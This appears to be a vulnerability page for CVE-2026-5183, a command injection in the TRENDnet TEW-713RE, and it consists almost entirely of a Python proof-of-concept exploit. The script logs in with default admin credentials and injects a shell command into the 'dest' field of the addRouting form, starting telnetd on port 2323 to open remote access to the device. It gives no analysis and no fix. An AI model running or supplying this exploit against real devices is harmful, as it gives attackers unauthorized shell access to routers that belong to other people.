CVE-2026-5183 TRENDnet TEW-713RE 命令注入漏洞

import requests # Target URL (example) target_url = "http://192.168.10.1/goform/addRouting" # Payload to inject commands (e.g., telnetd) # The vulnerability is in the 'dest' parameter # Injection character: ; payload = "; telnetd -p 2323 &; #" # Authentication credentials (Low privilege required) auth = { "username": "admin", "password": "admin" } # Data payload for the request data = { "dest": payload, "gateway": "192.168.10.254", "netmask": "255.255.255.0" } try: # Send POST request with authentication response = requests.post(target_url, data=data, auth=(auth["username"], auth["password"])) print(f"Status Code: {response.status_code}") print(f"Response Body: {response.text}") print("Check if telnet is running on port 2323") except Exception as e: print(f"Error: {e}")